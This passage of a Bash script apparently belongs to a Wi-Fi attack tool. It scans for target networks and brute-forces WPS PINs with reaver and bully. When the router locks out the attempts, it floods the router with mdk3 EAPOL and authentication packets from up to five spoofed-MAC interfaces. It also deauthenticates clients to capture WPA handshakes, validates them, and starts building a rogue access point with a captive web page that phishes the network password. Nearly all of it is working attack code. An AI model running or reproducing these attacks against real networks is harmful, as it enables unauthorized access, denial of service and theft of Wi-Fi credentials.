DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC1 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL1 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC1 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL1 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 2) +clear + +conditional_clear +mostrarheader +echo +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; +clear +echo +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +clear + +scan_for_targets + +clear + +enable_mon_mode_1 + +enable_mon_mode_2 + +clear +conditional_clear +mostrarheader +echo "Second WIFI_MONITOR +1)Yes +2)No" + +read f +case $f in + 1) +clear + +mac_change_1 + +mac_change_2 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + + + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Method" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read g +case $g in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC2 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL2 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC2 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL2 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac + +} + +menu +conditional_clear +mostrarheader +;; + 3) +clear +echo +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; +clear +echo +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +clear +echo +read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; +clear + +scan_for_targets + +clear + + +enable_mon_mode_1 + +enable_mon_mode_2 + +enable_mon_mode_3 + + + + +clear +conditional_clear +mostrarheader +echo "************** - Would you like to set the 3 WIFI_MONITORs to an Identical MAC Address? - ************** +1)Yes +2)No" + +read i +case $i in + 1) +clear + +mac_change_1 + +mac_change_2 + +mac_change_3 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Method" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read j +case $j in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC3 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL3 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC3 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL3 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 4) +clear +echo +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; +clear +echo +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +clear +echo +read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; +clear +echo +read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; +clear + +scan_for_targets + +clear + +enable_mon_mode_1 + +enable_mon_mode_2 + +enable_mon_mode_3 + +enable_mon_mode_4 + + +clear + +echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** +1)Yes +2)No" + +read l +case $l in + 1) +clear + +mac_change_1 + +mac_change_2 + +mac_change_3 + +mac_change_4 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + +clear + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Method" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read m +case $m in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC4 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL4 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC4 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL4 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + 5) +clear +echo +read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR; +clear +echo +read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +clear +echo +read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; +clear +echo +read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; +clear +echo +read -p " - What is the name of your 5th Wlan WIFI_MONITOR (Ex:Wlan4) - ": WIFI_MONITOR5; +clear + +scan_for_targets + +clear + +enable_mon_mode_1 + +enable_mon_mode_2 + +enable_mon_mode_3 + +enable_mon_mode_4 + +enable_mon_mode_5 + +clear + +echo "************** - Would you like to set ALL Wlan WIFI_MONITORs to the same MAC Address? - ************** +1)Yes +2)No" + +read o +case $o in + 1) +clear + +mac_change_1 + +mac_change_2 + +mac_change_3 + +mac_change_4 + +mac_change_5 + +clear +;; + 2) +;; + *)Invalid Option +;; +esac + + +menu () { +clear +conditional_clear +mostrarheader + + echo "Select your Attack Method" + echo " " + echo -e " "$blue"0)"$transparent" Select New Target Network" + echo -e " "$blue"1)"$transparent" EAPOL Start Flood" + echo -e " "$blue"2)"$transparent" Authentication Flood" + echo -e " "$blue"3)"$transparent" Reaver" + echo -e " "$blue"4)"$transparent" Check if the Access Point WPS is UNLOCKED" + echo -e " "$blue"5"$transparent" Reaver with AutoFlood(ASOC)" + echo -e " "$blue"6)"$transparent" Reaver with AutoFlood(EAPOL)" + echo -e " "$blue"7)"$transparent" Bully" + echo -e " "$blue"8)"$transparent" Bully with AutoFlood(ASOC)" + echo -e " "$blue"9)"$transparent"Bully with AutoFlood(EAPOL)" + echo " " + echo -n " #> " + +echo "*AutoFlood Attacks will store the Password in Root/(Reaver or Bully)Output.txt Once found*" +read p +case $p in + 0) +clear +scan_for_targets +enable_mon_mode_1 +menu +;; + 1) +clear +timeout 20s mdk3 $WIFI_MONITOR x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250 +menu +;; + 2) +clear +timeout 60 mdk3 $WIFI_MONITOR a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m +menu +;; + 3) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv +menu +;; + 4) +clear +xterm -e "wash -i $WIFI_MONITOR" & +menu +;; + 5) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_ASOC5 + fi + sleep 1 +done +menu +;; + 6) +clear +reaver -i $WIFI_MONITOR -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver_pid=$! + +while kill -0 $reaver_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' ReaverOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"limiting"* ]]; then + run_mdk3_EAPOL5 + fi + sleep 1 +done +menu +;; + 7) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR +menu +;; + 8) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_ASOC5 + fi + sleep 1 +done +menu +;; + 9) +clear +bully -b $BSSID -c $CHANNEL $WIFI_MONITOR | tee BullyOutput.txt & +bully_pid=$! + +while kill -0 $bully_pid ; do + DETECT_RATE_LIMITING=`awk '/./{line=$0} END{print line}' BullyOutput.txt` + if [[ $DETECT_RATE_LIMITING = *"lockout"* ]]; then + run_mdk3_EAPOL5 + fi + sleep 1 +done +menu +;; + *)Invalid Option +menu +;; +esac +} + +menu + +;; + +esac + +} +function handshakelocation { + + conditional_clear + + mostrarheader + infoap + echo + echo -e "handshake location (Example: $red/root/fluxion.cap$transparent)" + echo -e "Press ${yellow}ENTER$transparent to skip" + echo + echo -n "Path: " + echo -ne "$red" + read handshakeloc + echo -ne "$transparent" + + if [ "$handshakeloc" = "" ]; then + deauthforce + else + if [ -f "$handshakeloc" ]; then + Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) + Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') + if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then + if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then + cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap + webinterface + else + echo "Broken handshake " + echo + sleep 4 + echo "you can try aircrack-ng" + echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" + echo + + read handshakeloc_aircrack + echo -ne "$transparent" + if [ "$handshakeloc_aircrack" = "" ]; then + handshakelocation + else + if aircrack-ng $handshakeloc | grep -q "1 handshake"; then + cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap + webinterface + else + echo "Broken handshake" + sleep 4 + handshakelocation + fi + fi + fi + else + echo -e "${red}Not_Found$transparent!" + echo + echo -e "File ${red}MAC$transparent" + + readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") + for i in "${lista_loc[@]}"; do + echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" + done + + echo -e "Host ${green}MAC$transparent" + echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" + sleep 7 + handshakelocation + fi + else + echo -e "File ${red}NOT$transparent present" + sleep 4 + handshakelocation + fi + fi +} + +function deauthforce { + + conditional_clear + + mostrarheader + while true; do + + echo "handshake check" + echo " " + echo -e " "$blue"1)"$transparent" aircrack-ng (Miss chance)" + echo -e " "$blue"2)"$transparent" pyrit" + echo -e " "$blue"3)"$transparent" Back" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) handshakemode="normal"; askclientsel; break ;; + 2 ) handshakemode="hard"; askclientsel; break ;; + 3 ) askauth; break ;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done +} + +############################################### < MENU > ############################################### + + + + + + +############################################# < HANDSHAKE > ############################################ + +# Tipo de Deauth que se va a realizar +function askclientsel { + + conditional_clear + + while true; do + mostrarheader + + echo "Capture Handshake" + echo " " + echo -e " "$blue"1)"$transparent" Deauth all" + echo -e " "$blue"2)"$transparent" Deauth all [mdk3]" + echo -e " "$blue"3)"$transparent" Deauth target " + echo -e " "$blue"4)"$transparent" Rescan networks " + echo -e " "$blue"5)"$transparent" Exit" + echo " " + echo -n " #> " + read yn + echo "" + case $yn in + 1 ) deauth all; break ;; + 2 ) deauth mdk3; break ;; + 3 ) deauth esp; break ;; + 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; + 5 ) exitmode; break ;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + done + +} + +# +function deauth { + + conditional_clear + + iwconfig $WIFI_MONITOR channel $Host_CHAN + + case $1 in + all ) + DEAUTH=deauthall + capture & $DEAUTH + CSVDB=$Host_MAC-01.csv + ;; + mdk3 ) + DEAUTH=deauthmdk3 + capture & $DEAUTH & + CSVDB=$Host_MAC-01.csv + ;; + esp ) + DEAUTH=deauthesp + HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` + LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` + + if [ $LINEAS_CLIENTES -le 5 ]; then + DEAUTH=deauthall + capture & $DEAUTH + CSVDB=$Host_MAC-01.csv + deauth + + fi + + capture + for CLIENT in $HOST; do + Client_MAC=`echo ${CLIENT:0:17}` + deauthesp + done + $DEAUTH + CSVDB=$Host_MAC-01.csv + ;; + esac + + + deauthMENU + +} + +function deauthMENU { + + Handshake_statuscheck="${grey}No handshake$transparent" + + while true; do + conditional_clear + mostrarheader + + echo "*Capture Handshake* " + echo + echo -e "Status handshake: $Handshake_statuscheck" + echo + echo -e " "$blue"1)"$transparent" Yes" + echo -e " "$blue"2)"$transparent" Strike again " + echo -e " "$blue"3)"$transparent" No (Select another attack)" + echo -e " "$blue"4)"$transparent" Select another network" + echo -e " "$blue"5)"$transparent" Exit" + echo " " + echo -n ' #> ' + read yn + + case $yn in + 1 ) checkhandshake;; + 2 ) capture; $DEAUTH & ;; + 3 ) conditional_clear; askclientsel; break;; + 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; + 5 ) exitmode; break;; + * ) echo " +Unknown option. Choose again"; conditional_clear ;; + esac + + done +} + +# Capture all +function capture { + + conditional_clear + if ! ps -A | grep -q airodump-ng; then + + rm -rf $DUMP_PATH/$Host_MAC* + xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & + fi +} + +# Check the handshake before continuing +function checkhandshake { + + if [ "$handshakemode" = "normal" ]; then + if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then + killall airodump-ng &>$flux_output_device + webinterface + break + else + Handshake_statuscheck="${red}Not_Found$transparent" + fi + elif [ "$handshakemode" = "hard" ]; then + pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device + + if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then + killall airodump-ng &>$flux_output_device + webinterface + break + else + if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then + Handshake_statuscheck="${yellow}Corrupt$transparent" + else + Handshake_statuscheck="${red}Not_Found$transparent" + fi + fi + + rm $DUMP_PATH/test.cap &>$flux_output_device + fi +} + +############################################# < HANDSHAKE > ############################################ + + + + + + +############################################# < ATAQUE > ############################################ + +# Select web interface that will be used +function webinterface { + + while true; do + conditional_clear + mostrarheader + + infoap + echo + echo "Select Web Interface" + echo + + echo -e "$blue""1)"$transparent" Web Interface" + echo -e "$blue""2)"$transparent" \e[1;31mExit"$transparent"" + + echo + echo -n "#? " + read line + + if [ "$line" = "2" ]; then + exitmode + elif [ "$line" = "1" ]; then + conditional_clear + mostrarheader + + infoap + echo + echo "SELECT LANGUAGE" + echo + + echo -e "$blue""1)"$transparent" English [ENG]" + echo -e "$blue""2)"$transparent" Spanish [ESP]" + echo -e "$blue""3)"$transparent" Italy [IT]" + echo -e "$blue""4)"$transparent" French [FR]" + echo -e "$blue""5)"$transparent" Portuguese [POR]" + echo -e "$blue""6)"$transparent" German [GER]" + echo -e "$blue""7)"$transparent" \e[1;31mBack"$transparent"" + + echo + echo -n "#? " + read fluxass + language=${webinterfaceslenguage[$line]} + + if [ "$fluxass" = "1" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG + DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG + NEUTRA + break + elif [ "$fluxass" = "2" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP + DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP + NEUTRA + break + elif [ "$fluxass" = "3" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT + DIALOG_WEB_OK=$DIALOG_WEB_OK_IT + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT + NEUTRA + break + elif [ "$fluxass" = "4" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR + DIALOG_WEB_OK=$DIALOG_WEB_OK_FR + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR + NEUTRA + break + elif [ "$fluxass" = "5" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR + DIALOG_WEB_OK=$DIALOG_WEB_OK_POR + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR + NEUTRA + break + + elif [ "$fluxass" = "6" ]; then + DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER + DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER + DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER + DIALOG_WEB_OK=$DIALOG_WEB_OK_GER + DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER + DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER + DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER + DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER + NEUTRA + break + elif [ "$fluxass" = "7" ]; then + continue + fi + fi + + done + preattack + attack +} + +# Create different settings required for the script +function preattack { + +# Config HostAPD +echo "interface=$WIFI +driver=nl80211 +ssid=$Host_SSID 